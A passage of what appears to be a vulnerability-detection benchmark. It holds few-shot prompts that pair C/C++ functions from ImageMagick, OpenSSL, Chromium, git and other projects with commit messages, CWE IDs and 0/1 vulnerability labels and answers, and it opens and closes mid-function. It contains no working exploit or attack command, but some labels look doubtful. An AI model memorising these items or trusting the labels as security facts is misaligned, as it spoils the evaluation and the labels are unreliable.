for (y=0; y < (ssize_t) image->rows; y++)
{
p=pixels+(image->rows-y-1)*4*image->columns;
q=QueueAuthenticPixels(image,0,y,image->columns,1,exception);
if (q == (Quantum *) NULL)
break;
for (x=0; x < (ssize_t) image->columns; x++)
{
SetPixelIndex(image,*p,q);
p+=4;
q+=GetPixelChannels(image);
}
if (SyncAuthenticPixels(image,exception) == MagickFalse)
break;
if (image->previous == (Image *) NULL)
{
status=SetImageProgress(image,LoadImageTag,(MagickOffsetType) y,
image->rows);
if (status == MagickFalse)
break;
}
}
(void) SyncImage(image,exception);
}
pixel_info=RelinquishVirtualMemory(pixel_info);
if (EOFBlob(image) != MagickFalse)
{
ThrowFileException(exception,CorruptImageError,"UnexpectedEndOfFile",
image->filename);
break;
}
/*
Proceed to next image.
*/
if (image_info->number_scenes != 0)
if (image->scene >= (image_info->scene+image_info->number_scenes-1))
break;
iris_info.magic=ReadBlobMSBShort(image);
if (iris_info.magic == 0x01DA)
{
/*
Allocate next image structure.
*/
AcquireNextImage(image_info,image,exception);
if (GetNextImageInList(image) == (Image *) NULL)
{
image=DestroyImageList(image);
return((Image *) NULL);
}
image=SyncNextImageInList(image);
status=SetImageProgress(image,LoadImagesTag,TellBlob(image),
GetBlobSize(image));
if (status == MagickFalse)
break;
}
} while (iris_info.magic == 0x01DA);
(void) CloseBlob(image);
return(GetFirstImageInList(image));
}
Commit Message: ...
CWE ID: CWE-125
Output: | 1 |
Here are some example code snippets. Analyze the following code, commit message, CWE ID and the target value where 1 indicates the code has vulnerability and 0 indicates non-vulnerable code.
Example 1:
Code: int X509_verify(X509 *a, EVP_PKEY *r)
{
return(ASN1_item_verify(ASN1_ITEM_rptr(X509_CINF),a->sig_alg,
a->signature,a->cert_info,r));
}
Commit Message: Fix various certificate fingerprint issues.
By using non-DER or invalid encodings outside the signed portion of a
certificate the fingerprint can be changed without breaking the signature.
Although no details of the signed portion of the certificate can be changed
this can cause problems with some applications: e.g. those using the
certificate fingerprint for blacklists.
1. Reject signatures with non zero unused bits.
If the BIT STRING containing the signature has non zero unused bits reject
the signature. All current signature algorithms require zero unused bits.
2. Check certificate algorithm consistency.
Check the AlgorithmIdentifier inside TBS matches the one in the
certificate signature. NB: this will result in signature failure
errors for some broken certificates.
3. Check DSA/ECDSA signatures use DER.
Reencode DSA/ECDSA signatures and compare with the original received
signature. Return an error if there is a mismatch.
This will reject various cases including garbage after signature
(thanks to Antti Karjalainen and Tuomo Untinen from the Codenomicon CROSS
program for discovering this case) and use of BER or invalid ASN.1 INTEGERs
(negative or with leading zeroes).
CVE-2014-8275
Reviewed-by: Emilia Käsper <[email protected]>
CWE ID: CWE-310
Target: 1
Example 2:
Code: brcmf_cfg80211_reconfigure_wep(struct brcmf_if *ifp)
{
s32 err;
u8 key_idx;
struct brcmf_wsec_key *key;
s32 wsec;
for (key_idx = 0; key_idx < BRCMF_MAX_DEFAULT_KEYS; key_idx++) {
key = &ifp->vif->profile.key[key_idx];
if ((key->algo == CRYPTO_ALGO_WEP1) ||
(key->algo == CRYPTO_ALGO_WEP128))
break;
}
if (key_idx == BRCMF_MAX_DEFAULT_KEYS)
return;
err = send_key_to_dongle(ifp, key);
if (err) {
brcmf_err("Setting WEP key failed (%d)\n", err);
return;
}
err = brcmf_fil_bsscfg_int_get(ifp, "wsec", &wsec);
if (err) {
brcmf_err("get wsec error (%d)\n", err);
return;
}
wsec |= WEP_ENABLED;
err = brcmf_fil_bsscfg_int_set(ifp, "wsec", wsec);
if (err)
brcmf_err("set wsec error (%d)\n", err);
}
Commit Message: brcmfmac: avoid potential stack overflow in brcmf_cfg80211_start_ap()
User-space can choose to omit NL80211_ATTR_SSID and only provide raw
IE TLV data. When doing so it can provide SSID IE with length exceeding
the allowed size. The driver further processes this IE copying it
into a local variable without checking the length. Hence stack can be
corrupted and used as exploit.
Cc: [email protected] # v4.7
Reported-by: Daxing Guo <[email protected]>
Reviewed-by: Hante Meuleman <[email protected]>
Reviewed-by: Pieter-Paul Giesberts <[email protected]>
Reviewed-by: Franky Lin <[email protected]>
Signed-off-by: Arend van Spriel <[email protected]>
Signed-off-by: Kalle Valo <[email protected]>
CWE ID: CWE-119
Target: 0
Now analyze the following code, commit message, and CWE ID. Determine whether it has a vulnerability. If it does, return '1'; if it doesn't, return '0'. Remember, I want response in '1' or '0'. Do Not respond with explanation.
Code: static void show_commit(struct commit *commit, void *data)
{
}
Commit Message: list-objects: pass full pathname to callbacks
When we find a blob at "a/b/c", we currently pass this to
our show_object_fn callbacks as two components: "a/b/" and
"c". Callbacks which want the full value then call
path_name(), which concatenates the two. But this is an
inefficient interface; the path is a strbuf, and we could
simply append "c" to it temporarily, then roll back the
length, without creating a new copy.
So we could improve this by teaching the callsites of
path_name() this trick (and there are only 3). But we can
also notice that no callback actually cares about the
broken-down representation, and simply pass each callback
the full path "a/b/c" as a string. The callback code becomes
even simpler, then, as we do not have to worry about freeing
an allocated buffer, nor rolling back our modification to
the strbuf.
This is theoretically less efficient, as some callbacks
would not bother to format the final path component. But in
practice this is not measurable. Since we use the same
strbuf over and over, our work to grow it is amortized, and
we really only pay to memcpy a few bytes.
Signed-off-by: Jeff King <[email protected]>
Signed-off-by: Junio C Hamano <[email protected]>
CWE ID: CWE-119
Output: | 0 |
Here are some example code snippets. Analyze the following code, commit message, CWE ID and the target value where 1 indicates the code has vulnerability and 0 indicates non-vulnerable code.
Example 1:
Code: WORD32 ih264d_parse_islice(dec_struct_t *ps_dec,
UWORD16 u2_first_mb_in_slice)
{
dec_pic_params_t * ps_pps = ps_dec->ps_cur_pps;
dec_slice_params_t * ps_slice = ps_dec->ps_cur_slice;
UWORD32 *pu4_bitstrm_buf = ps_dec->ps_bitstrm->pu4_buffer;
UWORD32 *pu4_bitstrm_ofst = &ps_dec->ps_bitstrm->u4_ofst;
UWORD32 u4_temp;
WORD32 i_temp;
WORD32 ret;
/*--------------------------------------------------------------------*/
/* Read remaining contents of the slice header */
/*--------------------------------------------------------------------*/
/* dec_ref_pic_marking function */
/* G050 */
if(ps_slice->u1_nal_ref_idc != 0)
{
if(!ps_dec->ps_dpb_cmds->u1_dpb_commands_read)
ps_dec->u4_bitoffset = ih264d_read_mmco_commands(
ps_dec);
else
ps_dec->ps_bitstrm->u4_ofst += ps_dec->u4_bitoffset;
}
/* G050 */
/* Read slice_qp_delta */
i_temp = ps_pps->u1_pic_init_qp
+ ih264d_sev(pu4_bitstrm_ofst, pu4_bitstrm_buf);
if((i_temp < 0) || (i_temp > 51))
return ERROR_INV_RANGE_QP_T;
ps_slice->u1_slice_qp = i_temp;
COPYTHECONTEXT("SH: slice_qp_delta",
ps_slice->u1_slice_qp - ps_pps->u1_pic_init_qp);
if(ps_pps->u1_deblocking_filter_parameters_present_flag == 1)
{
u4_temp = ih264d_uev(pu4_bitstrm_ofst, pu4_bitstrm_buf);
COPYTHECONTEXT("SH: disable_deblocking_filter_idc", u4_temp);
if(u4_temp > SLICE_BOUNDARY_DBLK_DISABLED)
{
return ERROR_INV_SLICE_HDR_T;
}
ps_slice->u1_disable_dblk_filter_idc = u4_temp;
if(u4_temp != 1)
{
i_temp = ih264d_sev(pu4_bitstrm_ofst, pu4_bitstrm_buf)
<< 1;
if((MIN_DBLK_FIL_OFF > i_temp) || (i_temp > MAX_DBLK_FIL_OFF))
{
return ERROR_INV_SLICE_HDR_T;
}
ps_slice->i1_slice_alpha_c0_offset = i_temp;
COPYTHECONTEXT("SH: slice_alpha_c0_offset_div2",
ps_slice->i1_slice_alpha_c0_offset >> 1);
i_temp = ih264d_sev(pu4_bitstrm_ofst, pu4_bitstrm_buf)
<< 1;
if((MIN_DBLK_FIL_OFF > i_temp) || (i_temp > MAX_DBLK_FIL_OFF))
{
return ERROR_INV_SLICE_HDR_T;
}
ps_slice->i1_slice_beta_offset = i_temp;
COPYTHECONTEXT("SH: slice_beta_offset_div2",
ps_slice->i1_slice_beta_offset >> 1);
}
else
{
ps_slice->i1_slice_alpha_c0_offset = 0;
ps_slice->i1_slice_beta_offset = 0;
}
}
else
{
ps_slice->u1_disable_dblk_filter_idc = 0;
ps_slice->i1_slice_alpha_c0_offset = 0;
ps_slice->i1_slice_beta_offset = 0;
}
/* Initialization to check if number of motion vector per 2 Mbs */
/* are exceeding the range or not */
ps_dec->u2_mv_2mb[0] = 0;
ps_dec->u2_mv_2mb[1] = 0;
/*set slice header cone to 2 ,to indicate correct header*/
ps_dec->u1_slice_header_done = 2;
if(ps_pps->u1_entropy_coding_mode)
{
SWITCHOFFTRACE; SWITCHONTRACECABAC;
if(ps_dec->ps_cur_slice->u1_mbaff_frame_flag)
{
ps_dec->pf_get_mb_info = ih264d_get_mb_info_cabac_mbaff;
}
else
ps_dec->pf_get_mb_info = ih264d_get_mb_info_cabac_nonmbaff;
ret = ih264d_parse_islice_data_cabac(ps_dec, ps_slice,
u2_first_mb_in_slice);
if(ret != OK)
return ret;
SWITCHONTRACE; SWITCHOFFTRACECABAC;
}
else
{
if(ps_dec->ps_cur_slice->u1_mbaff_frame_flag)
{
ps_dec->pf_get_mb_info = ih264d_get_mb_info_cavlc_mbaff;
}
else
ps_dec->pf_get_mb_info = ih264d_get_mb_info_cavlc_nonmbaff;
ret = ih264d_parse_islice_data_cavlc(ps_dec, ps_slice,
u2_first_mb_in_slice);
if(ret != OK)
return ret;
}
return OK;
}
Commit Message: Return error when there are more mmco params than allocated size
Bug: 25818142
Change-Id: I5c1b23985eeca5192b42703c627ca3d060e4e13d
CWE ID: CWE-119
Target: 1
Example 2:
Code: void* ZEND_FASTCALL _zend_mm_realloc2(zend_mm_heap *heap, void *ptr, size_t size, size_t copy_size ZEND_FILE_LINE_DC ZEND_FILE_LINE_ORIG_DC)
{
return zend_mm_realloc_heap(heap, ptr, size, copy_size ZEND_FILE_LINE_RELAY_CC ZEND_FILE_LINE_ORIG_RELAY_CC);
}
Commit Message: Fix bug #72742 - memory allocator fails to realloc small block to large one
CWE ID: CWE-190
Target: 0
Now analyze the following code, commit message, and CWE ID. Determine whether it has a vulnerability. If it does, return '1'; if it doesn't, return '0'. Remember, I want response in '1' or '0'. Do Not respond with explanation.
Code: void WebGL2RenderingContextBase::uniform4iv(
const WebGLUniformLocation* location,
Vector<GLint>& v) {
WebGLRenderingContextBase::uniform4iv(location, v);
}
Commit Message: Reset ES3 pixel pack parameters and PIXEL_PACK_BUFFER binding in DrawingBuffer before ReadPixels() and recover them later.
BUG=740603
TEST=new conformance test
[email protected],[email protected]
Change-Id: I3ea54c6cc34f34e249f7c8b9f792d93c5e1958f4
Reviewed-on: https://chromium-review.googlesource.com/570840
Reviewed-by: Antoine Labour <[email protected]>
Reviewed-by: Kenneth Russell <[email protected]>
Commit-Queue: Zhenyao Mo <[email protected]>
Cr-Commit-Position: refs/heads/master@{#486518}
CWE ID: CWE-119
Output: | 0 |
Here are some example code snippets. Analyze the following code, commit message, CWE ID and the target value where 1 indicates the code has vulnerability and 0 indicates non-vulnerable code.
Example 1:
Code: void AutoFillMetrics::Log(QualityMetric metric) const {
DCHECK(metric < NUM_QUALITY_METRICS);
UMA_HISTOGRAM_ENUMERATION("AutoFill.Quality", metric,
NUM_QUALITY_METRICS);
}
Commit Message: Add support for autofill server experiments
BUG=none
TEST=unit_tests --gtest_filter=AutoFillMetricsTest.QualityMetricsWithExperimentId:AutoFillQueryXmlParserTest.ParseExperimentId
Review URL: http://codereview.chromium.org/6260027
git-svn-id: svn://svn.chromium.org/chrome/trunk/src@73216 0039d316-1c4b-4281-b951-d872f2087c98
CWE ID: CWE-399
Target: 1
Example 2:
Code: bool canCollapseMarginAfterWithChildren() const { return m_canCollapseMarginAfterWithChildren; }
Commit Message: Separate repaint and layout requirements of StyleDifference (Step 1)
Previously StyleDifference was an enum that proximately bigger values
imply smaller values (e.g. StyleDifferenceLayout implies
StyleDifferenceRepaint). This causes unnecessary repaints in some cases
on layout change.
Convert StyleDifference to a structure containing relatively independent
flags.
This change doesn't directly improve the result, but can make further
repaint optimizations possible.
Step 1 doesn't change any functionality. RenderStyle still generate the
legacy StyleDifference enum when comparing styles and convert the result
to the new StyleDifference. Implicit requirements are not handled during
the conversion.
Converted call sites to use the new StyleDifference according to the
following conversion rules:
- diff == StyleDifferenceEqual (&& !context) => diff.hasNoChange()
- diff == StyleDifferenceRepaint => diff.needsRepaintObjectOnly()
- diff == StyleDifferenceRepaintLayer => diff.needsRepaintLayer()
- diff == StyleDifferenceRepaint || diff == StyleDifferenceRepaintLayer => diff.needsRepaintLayer()
- diff >= StyleDifferenceRepaint => diff.needsRepaint() || diff.needsLayout()
- diff >= StyleDifferenceRepaintLayer => diff.needsRepaintLayer() || diff.needsLayout()
- diff > StyleDifferenceRepaintLayer => diff.needsLayout()
- diff == StyleDifferencePositionedMovementLayoutOnly => diff.needsPositionedMovementLayoutOnly()
- diff == StyleDifferenceLayout => diff.needsFullLayout()
BUG=358460
TEST=All existing layout tests.
[email protected], [email protected], [email protected]
Committed: https://src.chromium.org/viewvc/blink?view=rev&revision=171983
Review URL: https://codereview.chromium.org/236203020
git-svn-id: svn://svn.chromium.org/blink/trunk@172331 bbb929c8-8fbe-4397-9dbb-9b2b20218538
CWE ID: CWE-119
Target: 0
Now analyze the following code, commit message, and CWE ID. Determine whether it has a vulnerability. If it does, return '1'; if it doesn't, return '0'. Remember, I want response in '1' or '0'. Do Not respond with explanation.
Code: static WebReferrerPolicy GetReferrerPolicyFromRequest(
const WebURLRequest& request) {
return request.extraData() ?
static_cast<RequestExtraData*>(request.extraData())->referrer_policy() :
WebKit::WebReferrerPolicyDefault;
}
Commit Message: Allow browser to handle all WebUI navigations.
BUG=113496
TEST="Google Dashboard" link in Sync settings loads in new process.
Review URL: http://codereview.chromium.org/9663045
git-svn-id: svn://svn.chromium.org/chrome/trunk/src@126949 0039d316-1c4b-4281-b951-d872f2087c98
CWE ID: CWE-264
Output: | 0 |
Here are some example code snippets. Analyze the following code, commit message, CWE ID and the target value where 1 indicates the code has vulnerability and 0 indicates non-vulnerable code.
Example 1:
Code: static MagickBooleanType GetEXIFProperty(const Image *image,
const char *property,ExceptionInfo *exception)
{
#define MaxDirectoryStack 16
#define EXIF_DELIMITER "\n"
#define EXIF_NUM_FORMATS 12
#define EXIF_FMT_BYTE 1
#define EXIF_FMT_STRING 2
#define EXIF_FMT_USHORT 3
#define EXIF_FMT_ULONG 4
#define EXIF_FMT_URATIONAL 5
#define EXIF_FMT_SBYTE 6
#define EXIF_FMT_UNDEFINED 7
#define EXIF_FMT_SSHORT 8
#define EXIF_FMT_SLONG 9
#define EXIF_FMT_SRATIONAL 10
#define EXIF_FMT_SINGLE 11
#define EXIF_FMT_DOUBLE 12
#define TAG_EXIF_OFFSET 0x8769
#define TAG_GPS_OFFSET 0x8825
#define TAG_INTEROP_OFFSET 0xa005
#define EXIFMultipleValues(size,format,arg) \
{ \
ssize_t \
component; \
\
size_t \
length; \
\
unsigned char \
*p1; \
\
length=0; \
p1=p; \
for (component=0; component < components; component++) \
{ \
length+=FormatLocaleString(buffer+length,MagickPathExtent-length, \
format", ",arg); \
if (length >= (MagickPathExtent-1)) \
length=MagickPathExtent-1; \
p1+=size; \
} \
if (length > 1) \
buffer[length-2]='\0'; \
value=AcquireString(buffer); \
}
#define EXIFMultipleFractions(size,format,arg1,arg2) \
{ \
ssize_t \
component; \
\
size_t \
length; \
\
unsigned char \
*p1; \
\
length=0; \
p1=p; \
for (component=0; component < components; component++) \
{ \
length+=FormatLocaleString(buffer+length,MagickPathExtent-length, \
format", ",(arg1),(arg2)); \
if (length >= (MagickPathExtent-1)) \
length=MagickPathExtent-1; \
p1+=size; \
} \
if (length > 1) \
buffer[length-2]='\0'; \
value=AcquireString(buffer); \
}
typedef struct _DirectoryInfo
{
const unsigned char
*directory;
size_t
entry;
ssize_t
offset;
} DirectoryInfo;
typedef struct _TagInfo
{
size_t
tag;
const char
*description;
} TagInfo;
static TagInfo
EXIFTag[] =
{
{ 0x001, "exif:InteroperabilityIndex" },
{ 0x002, "exif:InteroperabilityVersion" },
{ 0x100, "exif:ImageWidth" },
{ 0x101, "exif:ImageLength" },
{ 0x102, "exif:BitsPerSample" },
{ 0x103, "exif:Compression" },
{ 0x106, "exif:PhotometricInterpretation" },
{ 0x10a, "exif:FillOrder" },
{ 0x10d, "exif:DocumentName" },
{ 0x10e, "exif:ImageDescription" },
{ 0x10f, "exif:Make" },
{ 0x110, "exif:Model" },
{ 0x111, "exif:StripOffsets" },
{ 0x112, "exif:Orientation" },
{ 0x115, "exif:SamplesPerPixel" },
{ 0x116, "exif:RowsPerStrip" },
{ 0x117, "exif:StripByteCounts" },
{ 0x11a, "exif:XResolution" },
{ 0x11b, "exif:YResolution" },
{ 0x11c, "exif:PlanarConfiguration" },
{ 0x11d, "exif:PageName" },
{ 0x11e, "exif:XPosition" },
{ 0x11f, "exif:YPosition" },
{ 0x118, "exif:MinSampleValue" },
{ 0x119, "exif:MaxSampleValue" },
{ 0x120, "exif:FreeOffsets" },
{ 0x121, "exif:FreeByteCounts" },
{ 0x122, "exif:GrayResponseUnit" },
{ 0x123, "exif:GrayResponseCurve" },
{ 0x124, "exif:T4Options" },
{ 0x125, "exif:T6Options" },
{ 0x128, "exif:ResolutionUnit" },
{ 0x12d, "exif:TransferFunction" },
{ 0x131, "exif:Software" },
{ 0x132, "exif:DateTime" },
{ 0x13b, "exif:Artist" },
{ 0x13e, "exif:WhitePoint" },
{ 0x13f, "exif:PrimaryChromaticities" },
{ 0x140, "exif:ColorMap" },
{ 0x141, "exif:HalfToneHints" },
{ 0x142, "exif:TileWidth" },
{ 0x143, "exif:TileLength" },
{ 0x144, "exif:TileOffsets" },
{ 0x145, "exif:TileByteCounts" },
{ 0x14a, "exif:SubIFD" },
{ 0x14c, "exif:InkSet" },
{ 0x14d, "exif:InkNames" },
{ 0x14e, "exif:NumberOfInks" },
{ 0x150, "exif:DotRange" },
{ 0x151, "exif:TargetPrinter" },
{ 0x152, "exif:ExtraSample" },
{ 0x153, "exif:SampleFormat" },
{ 0x154, "exif:SMinSampleValue" },
{ 0x155, "exif:SMaxSampleValue" },
{ 0x156, "exif:TransferRange" },
{ 0x157, "exif:ClipPath" },
{ 0x158, "exif:XClipPathUnits" },
{ 0x159, "exif:YClipPathUnits" },
{ 0x15a, "exif:Indexed" },
{ 0x15b, "exif:JPEGTables" },
{ 0x15f, "exif:OPIProxy" },
{ 0x200, "exif:JPEGProc" },
{ 0x201, "exif:JPEGInterchangeFormat" },
{ 0x202, "exif:JPEGInterchangeFormatLength" },
{ 0x203, "exif:JPEGRestartInterval" },
{ 0x205, "exif:JPEGLosslessPredictors" },
{ 0x206, "exif:JPEGPointTransforms" },
{ 0x207, "exif:JPEGQTables" },
{ 0x208, "exif:JPEGDCTables" },
{ 0x209, "exif:JPEGACTables" },
{ 0x211, "exif:YCbCrCoefficients" },
{ 0x212, "exif:YCbCrSubSampling" },
{ 0x213, "exif:YCbCrPositioning" },
{ 0x214, "exif:ReferenceBlackWhite" },
{ 0x2bc, "exif:ExtensibleMetadataPlatform" },
{ 0x301, "exif:Gamma" },
{ 0x302, "exif:ICCProfileDescriptor" },
{ 0x303, "exif:SRGBRenderingIntent" },
{ 0x320, "exif:ImageTitle" },
{ 0x5001, "exif:ResolutionXUnit" },
{ 0x5002, "exif:ResolutionYUnit" },
{ 0x5003, "exif:ResolutionXLengthUnit" },
{ 0x5004, "exif:ResolutionYLengthUnit" },
{ 0x5005, "exif:PrintFlags" },
{ 0x5006, "exif:PrintFlagsVersion" },
{ 0x5007, "exif:PrintFlagsCrop" },
{ 0x5008, "exif:PrintFlagsBleedWidth" },
{ 0x5009, "exif:PrintFlagsBleedWidthScale" },
{ 0x500A, "exif:HalftoneLPI" },
{ 0x500B, "exif:HalftoneLPIUnit" },
{ 0x500C, "exif:HalftoneDegree" },
{ 0x500D, "exif:HalftoneShape" },
{ 0x500E, "exif:HalftoneMisc" },
{ 0x500F, "exif:HalftoneScreen" },
{ 0x5010, "exif:JPEGQuality" },
{ 0x5011, "exif:GridSize" },
{ 0x5012, "exif:ThumbnailFormat" },
{ 0x5013, "exif:ThumbnailWidth" },
{ 0x5014, "exif:ThumbnailHeight" },
{ 0x5015, "exif:ThumbnailColorDepth" },
{ 0x5016, "exif:ThumbnailPlanes" },
{ 0x5017, "exif:ThumbnailRawBytes" },
{ 0x5018, "exif:ThumbnailSize" },
{ 0x5019, "exif:ThumbnailCompressedSize" },
{ 0x501a, "exif:ColorTransferFunction" },
{ 0x501b, "exif:ThumbnailData" },
{ 0x5020, "exif:ThumbnailImageWidth" },
{ 0x5021, "exif:ThumbnailImageHeight" },
{ 0x5022, "exif:ThumbnailBitsPerSample" },
{ 0x5023, "exif:ThumbnailCompression" },
{ 0x5024, "exif:ThumbnailPhotometricInterp" },
{ 0x5025, "exif:ThumbnailImageDescription" },
{ 0x5026, "exif:ThumbnailEquipMake" },
{ 0x5027, "exif:ThumbnailEquipModel" },
{ 0x5028, "exif:ThumbnailStripOffsets" },
{ 0x5029, "exif:ThumbnailOrientation" },
{ 0x502a, "exif:ThumbnailSamplesPerPixel" },
{ 0x502b, "exif:ThumbnailRowsPerStrip" },
{ 0x502c, "exif:ThumbnailStripBytesCount" },
{ 0x502d, "exif:ThumbnailResolutionX" },
{ 0x502e, "exif:ThumbnailResolutionY" },
{ 0x502f, "exif:ThumbnailPlanarConfig" },
{ 0x5030, "exif:ThumbnailResolutionUnit" },
{ 0x5031, "exif:ThumbnailTransferFunction" },
{ 0x5032, "exif:ThumbnailSoftwareUsed" },
{ 0x5033, "exif:ThumbnailDateTime" },
{ 0x5034, "exif:ThumbnailArtist" },
{ 0x5035, "exif:ThumbnailWhitePoint" },
{ 0x5036, "exif:ThumbnailPrimaryChromaticities" },
{ 0x5037, "exif:ThumbnailYCbCrCoefficients" },
{ 0x5038, "exif:ThumbnailYCbCrSubsampling" },
{ 0x5039, "exif:ThumbnailYCbCrPositioning" },
{ 0x503A, "exif:ThumbnailRefBlackWhite" },
{ 0x503B, "exif:ThumbnailCopyRight" },
{ 0x5090, "exif:LuminanceTable" },
{ 0x5091, "exif:ChrominanceTable" },
{ 0x5100, "exif:FrameDelay" },
{ 0x5101, "exif:LoopCount" },
{ 0x5110, "exif:PixelUnit" },
{ 0x5111, "exif:PixelPerUnitX" },
{ 0x5112, "exif:PixelPerUnitY" },
{ 0x5113, "exif:PaletteHistogram" },
{ 0x1000, "exif:RelatedImageFileFormat" },
{ 0x1001, "exif:RelatedImageLength" },
{ 0x1002, "exif:RelatedImageWidth" },
{ 0x800d, "exif:ImageID" },
{ 0x80e3, "exif:Matteing" },
{ 0x80e4, "exif:DataType" },
{ 0x80e5, "exif:ImageDepth" },
{ 0x80e6, "exif:TileDepth" },
{ 0x828d, "exif:CFARepeatPatternDim" },
{ 0x828e, "exif:CFAPattern2" },
{ 0x828f, "exif:BatteryLevel" },
{ 0x8298, "exif:Copyright" },
{ 0x829a, "exif:ExposureTime" },
{ 0x829d, "exif:FNumber" },
{ 0x83bb, "exif:IPTC/NAA" },
{ 0x84e3, "exif:IT8RasterPadding" },
{ 0x84e5, "exif:IT8ColorTable" },
{ 0x8649, "exif:ImageResourceInformation" },
{ 0x8769, "exif:ExifOffset" },
{ 0x8773, "exif:InterColorProfile" },
{ 0x8822, "exif:ExposureProgram" },
{ 0x8824, "exif:SpectralSensitivity" },
{ 0x8825, "exif:GPSInfo" },
{ 0x8827, "exif:ISOSpeedRatings" },
{ 0x8828, "exif:OECF" },
{ 0x8829, "exif:Interlace" },
{ 0x882a, "exif:TimeZoneOffset" },
{ 0x882b, "exif:SelfTimerMode" },
{ 0x9000, "exif:ExifVersion" },
{ 0x9003, "exif:DateTimeOriginal" },
{ 0x9004, "exif:DateTimeDigitized" },
{ 0x9101, "exif:ComponentsConfiguration" },
{ 0x9102, "exif:CompressedBitsPerPixel" },
{ 0x9201, "exif:ShutterSpeedValue" },
{ 0x9202, "exif:ApertureValue" },
{ 0x9203, "exif:BrightnessValue" },
{ 0x9204, "exif:ExposureBiasValue" },
{ 0x9205, "exif:MaxApertureValue" },
{ 0x9206, "exif:SubjectDistance" },
{ 0x9207, "exif:MeteringMode" },
{ 0x9208, "exif:LightSource" },
{ 0x9209, "exif:Flash" },
{ 0x920a, "exif:FocalLength" },
{ 0x920b, "exif:FlashEnergy" },
{ 0x920c, "exif:SpatialFrequencyResponse" },
{ 0x920d, "exif:Noise" },
{ 0x9211, "exif:ImageNumber" },
{ 0x9212, "exif:SecurityClassification" },
{ 0x9213, "exif:ImageHistory" },
{ 0x9214, "exif:SubjectArea" },
{ 0x9215, "exif:ExposureIndex" },
{ 0x9216, "exif:TIFF-EPStandardID" },
{ 0x927c, "exif:MakerNote" },
{ 0x9C9b, "exif:WinXP-Title" },
{ 0x9C9c, "exif:WinXP-Comments" },
{ 0x9C9d, "exif:WinXP-Author" },
{ 0x9C9e, "exif:WinXP-Keywords" },
{ 0x9C9f, "exif:WinXP-Subject" },
{ 0x9286, "exif:UserComment" },
{ 0x9290, "exif:SubSecTime" },
{ 0x9291, "exif:SubSecTimeOriginal" },
{ 0x9292, "exif:SubSecTimeDigitized" },
{ 0xa000, "exif:FlashPixVersion" },
{ 0xa001, "exif:ColorSpace" },
{ 0xa002, "exif:ExifImageWidth" },
{ 0xa003, "exif:ExifImageLength" },
{ 0xa004, "exif:RelatedSoundFile" },
{ 0xa005, "exif:InteroperabilityOffset" },
{ 0xa20b, "exif:FlashEnergy" },
{ 0xa20c, "exif:SpatialFrequencyResponse" },
{ 0xa20d, "exif:Noise" },
{ 0xa20e, "exif:FocalPlaneXResolution" },
{ 0xa20f, "exif:FocalPlaneYResolution" },
{ 0xa210, "exif:FocalPlaneResolutionUnit" },
{ 0xa214, "exif:SubjectLocation" },
{ 0xa215, "exif:ExposureIndex" },
{ 0xa216, "exif:TIFF/EPStandardID" },
{ 0xa217, "exif:SensingMethod" },
{ 0xa300, "exif:FileSource" },
{ 0xa301, "exif:SceneType" },
{ 0xa302, "exif:CFAPattern" },
{ 0xa401, "exif:CustomRendered" },
{ 0xa402, "exif:ExposureMode" },
{ 0xa403, "exif:WhiteBalance" },
{ 0xa404, "exif:DigitalZoomRatio" },
{ 0xa405, "exif:FocalLengthIn35mmFilm" },
{ 0xa406, "exif:SceneCaptureType" },
{ 0xa407, "exif:GainControl" },
{ 0xa408, "exif:Contrast" },
{ 0xa409, "exif:Saturation" },
{ 0xa40a, "exif:Sharpness" },
{ 0xa40b, "exif:DeviceSettingDescription" },
{ 0xa40c, "exif:SubjectDistanceRange" },
{ 0xa420, "exif:ImageUniqueID" },
{ 0xc4a5, "exif:PrintImageMatching" },
{ 0xa500, "exif:Gamma" },
{ 0xc640, "exif:CR2Slice" },
{ 0x10000, "exif:GPSVersionID" },
{ 0x10001, "exif:GPSLatitudeRef" },
{ 0x10002, "exif:GPSLatitude" },
{ 0x10003, "exif:GPSLongitudeRef" },
{ 0x10004, "exif:GPSLongitude" },
{ 0x10005, "exif:GPSAltitudeRef" },
{ 0x10006, "exif:GPSAltitude" },
{ 0x10007, "exif:GPSTimeStamp" },
{ 0x10008, "exif:GPSSatellites" },
{ 0x10009, "exif:GPSStatus" },
{ 0x1000a, "exif:GPSMeasureMode" },
{ 0x1000b, "exif:GPSDop" },
{ 0x1000c, "exif:GPSSpeedRef" },
{ 0x1000d, "exif:GPSSpeed" },
{ 0x1000e, "exif:GPSTrackRef" },
{ 0x1000f, "exif:GPSTrack" },
{ 0x10010, "exif:GPSImgDirectionRef" },
{ 0x10011, "exif:GPSImgDirection" },
{ 0x10012, "exif:GPSMapDatum" },
{ 0x10013, "exif:GPSDestLatitudeRef" },
{ 0x10014, "exif:GPSDestLatitude" },
{ 0x10015, "exif:GPSDestLongitudeRef" },
{ 0x10016, "exif:GPSDestLongitude" },
{ 0x10017, "exif:GPSDestBearingRef" },
{ 0x10018, "exif:GPSDestBearing" },
{ 0x10019, "exif:GPSDestDistanceRef" },
{ 0x1001a, "exif:GPSDestDistance" },
{ 0x1001b, "exif:GPSProcessingMethod" },
{ 0x1001c, "exif:GPSAreaInformation" },
{ 0x1001d, "exif:GPSDateStamp" },
{ 0x1001e, "exif:GPSDifferential" },
{ 0x00000, (const char *) NULL }
};
const StringInfo
*profile;
const unsigned char
*directory,
*exif;
DirectoryInfo
directory_stack[MaxDirectoryStack];
EndianType
endian;
MagickBooleanType
status;
register ssize_t
i;
size_t
entry,
length,
number_entries,
tag,
tag_value;
SplayTreeInfo
*exif_resources;
ssize_t
all,
id,
level,
offset,
tag_offset;
static int
tag_bytes[] = {0, 1, 1, 2, 4, 8, 1, 1, 2, 4, 8, 4, 8};
/*
If EXIF data exists, then try to parse the request for a tag.
*/
profile=GetImageProfile(image,"exif");
if (profile == (const StringInfo *) NULL)
return(MagickFalse);
if ((property == (const char *) NULL) || (*property == '\0'))
return(MagickFalse);
while (isspace((int) ((unsigned char) *property)) != 0)
property++;
if (strlen(property) <= 5)
return(MagickFalse);
all=0;
tag=(~0UL);
switch (*(property+5))
{
case '*':
{
/*
Caller has asked for all the tags in the EXIF data.
*/
tag=0;
all=1; /* return the data in description=value format */
break;
}
case '!':
{
tag=0;
all=2; /* return the data in tagid=value format */
break;
}
case '#':
case '@':
{
int
c;
size_t
n;
/*
Check for a hex based tag specification first.
*/
tag=(*(property+5) == '@') ? 1UL : 0UL;
property+=6;
n=strlen(property);
if (n != 4)
return(MagickFalse);
/*
Parse tag specification as a hex number.
*/
n/=4;
do
{
for (i=(ssize_t) n-1L; i >= 0; i--)
{
c=(*property++);
tag<<=4;
if ((c >= '0') && (c <= '9'))
tag|=(c-'0');
else
if ((c >= 'A') && (c <= 'F'))
